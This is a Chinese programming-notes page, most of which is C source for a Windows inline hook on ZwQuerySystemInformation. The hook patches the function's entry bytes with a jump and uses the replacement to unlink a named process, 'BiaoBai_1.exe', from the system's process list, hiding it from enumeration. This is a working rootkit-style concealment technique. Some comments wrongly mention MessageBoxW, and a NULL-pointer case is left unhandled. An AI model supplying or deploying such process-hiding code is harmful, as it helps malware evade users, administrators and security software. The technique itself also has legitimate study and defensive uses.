热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

InlineHook

步骤:加载函数所在的模块,获取要Hook的函数地址根据要hook函数的原型创建自己的函数计算偏移自己创建的函数的地址-要Hook的函数地址-5,第一个字节为0xE9,构成无条件跳转

步骤:

  1. 加载函数所在的模块,获取要Hook的函数地址
  2. 根据要hook函数的原型创建自己的函数
  3. 计算偏移 = 自己创建的函数的地址 - 要Hook的函数地址 - 5,第一个字节为0xE9,构成无条件跳转指令
  4. 修改目标页属性,是其可读可写可执行
  5. 将前面构造的无条件跳转写入Hook函数地址处,大小为5字节,并保存之前的数据,以便修复
  6. 恢复页属性

注意点:

  构建自己函数的时候一定要加上调用方式

代码如下:

// 开启InlineHook
void OnInlineHook()
{
	// 1.获取函数地址
	HMODULE hModule = LoadLibraryA("ntdll.dll");
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = 
		(typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

	// 32位修改5个字节,64位修改12个字节
#ifndef _WIN64
	// jmp New_ZwQuerySystemInformation
	// 机器码位:e9 _dwOffset(跳转偏移)
	//			addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
	//			addr2 --> 跳转地址的值,即_dwNewAddress的值
	//			跳转偏移 _dwOffset = addr2 - addr1
	BYTE g_newcode[5] = { 0xE9 };
	// 2. 保存原始指令5个字节
	memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5);

	// 3. 计算跳转偏移,构建跳转 newcode[5]
	// 跳转偏移  = 目标地址 - 指令所在- 指令长度
	DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
	*(DWORD*)(g_newcode + 1) = dwOffset;
#else
	// mov rax,0x1122334455667788
	// jmp rax
	// 机器码是:
	//		48 b8 8877665544332211
	//		ff e0
	BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
	// 2. 保存原始指令12个字节
	memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12);
	// 3. 构建跳转 newcode[12]
	ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation;
	*(ULONGLONG*)(g_newcode + 2) = dwOffset;
#endif // !_WIN64

	// 4. 写入跳转偏移
	// 修改目标页属性
	DWORD dwOldProtect;
	VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
	// 修改MessageBoxW指令前5个字节
	memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode));
	// 恢复页属性
	VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect);
}
// 关闭InlineHook
void UnInlineHook()
{
	// 还原MessageBoxW前5个字节
	// 1.获取函数地址
	HMODULE hModule = LoadLibraryA("ntdll.dll");
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
		(typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

	// 2.还原指令前5字节
	// 修改目标页属性
	DWORD dwOldProtect;
	VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	// 32位下还原前5字节,64位下还原前12字节
#ifndef _WIN64
	// 修改函数指令前5个字节
	memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5);
#else
	// 修改函数指令前12个字节
	memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12);
#endif	// !_WIN64

	// 恢复页属性
	VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
// hook后的新代码
//特别注意要加上调用方式 WINAPI
NTSTATUS WINAPI MyZwQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
)
{
	NTSTATUS status = 0;

	PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;

	// 要隐藏的进程名
	wchar_t dwHideProcessName[MAX_PATH] = L"BiaoBai_1.exe";

	// 卸载钩子
	UnInlineHook();

	// 1.获取函数地址
	HMODULE hModule = LoadLibraryA("ntdll.dll");
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
		(typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return status;
	}
	// 调用原函数 ZwQuerySystemInformation
	status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
		SystemInformationLength, ReturnLength);
	//	如果是检索系统的进程信息并且调用原函数成功
	if (NT_SUCCESS(status) && 5 == SystemInformationClass)
	{
		pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
		while (TRUE)
		{
			// 判断是否是要隐藏的进程PID
			// 如果是要隐藏的进程PID
			if (lstrcmp(pCur->ImageName.Buffer,dwHideProcessName) == 0)
			{
				if (0 == pCur->NextEntryOffset)
				{
					//当我们需要隐藏的进程是最后一个数据时
					//就将上一个数据结构的NextEntryOffset置0
					//这时系统在遍历我们进程时就不会发现了
					pPrev->NextEntryOffset = 0;
				}
				else
				{
					//当我们需要隐藏的进程 后面还有进程时
					//越过要隐藏的进程让 NextEntryOffset 
					//指向下一个数据块
					pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
				}
				//多个PID比较时,这里千万要去掉
				break;
			}

			if (0 == pCur->NextEntryOffset)
			{
				break;
			}
			pPrev = pCur;
			pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
		}
	}

	//设置钩子
	OnInlineHook();

	return status;
}

InlineHook


推荐阅读
  • 开发笔记:Xunit测试使用个人小结
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Xunit测试使用个人小结相关的知识,希望对你有一定的参考价值。因工作中用到xunit测试,故总结下用法,以供个人参考使 ... [详细]
  • 这篇文章将为大家详细讲解有关C#开发技巧有哪些,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。C#开发技 ... [详细]
  • MyBatis模糊查询和多条件查询一、ISmbmsUserDao层根据姓名模糊查询publicListgetUser();多条件查询publicList ... [详细]
  • 看下面的代码:window.onload=someFunction;很多时候我看到使用这种代码,甚至我使用相同的代码.但是, ... [详细]
  • 软件自动化测试的学习路线
    软件自动化测试的学习步骤软件测试交流群关注软件测试技术公众号获取阅读目录软件自动化测试的学习步骤自动化测试的本质自动化测试学习的误区自动化测试的职位自动化测试分类Web自动化 ... [详细]
  • 對”ASP.NET的錯誤類型及錯誤處理方式”的補充 ... [详细]
  • 在这一期的SendMessage函数应用中,我将向大家介绍如何利用消息函数来扩展树型列表(TreeView)控件的功能相信对于树型列表控件大家十分的熟悉, ... [详细]
  • 在写每日签到的时候,我居然使用的是本地时间被项目经理笑哭了。。。。,如果你在写单机游戏,没有游戏服务器,但又不想使用本地时间,就可以采用下面方法.方法总结:     1.使用 ... [详细]
  • C#的Type对象的简单应用
    通过Type对象可以获取类中所有的公有成员直接贴代码:classMyClass{privatestringname;privateintid;publicstringcity;pu ... [详细]
  • 3295:[Cqoi2011]动态逆序对Description对于序列A,它的逆序对数定义为满足iAj的数对(i,j)的个数。给1到n的一个排列,按照某种顺序依次删除 ... [详细]
  • 这一篇主要总结一下jQuery这个js在引入的时候做的一些初始化工作第一句window.undefinedwindow.undefined;是为了兼容低版本的IE而写的因为在低版本 ... [详细]
  • spotify engineering culture part 1
    原文,因为原视频说的太快太长,又没有字幕,于是借助youtube,把原文听&打出来了。中文版日后有时间再翻译。oneofthebigsucceessfactorshereatSpo ... [详细]
  • 本文翻译自:WhatisaMavenartifact?什么是神器?为什么Maven需要它?#1楼参考:https:sta ... [详细]
  • 一、vue介绍Vue.js是一套构建用户界面(UI)的渐进式JavaScript框架,是一个轻量级MVVM(model-view-viewModel&# ... [详细]
  • 本文整理了Java中org.apache.hadoop.mapreduce.lib.input.MultipleInputs.addInputPath()方法的一些代码 ... [详细]
author-avatar
qCANL
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有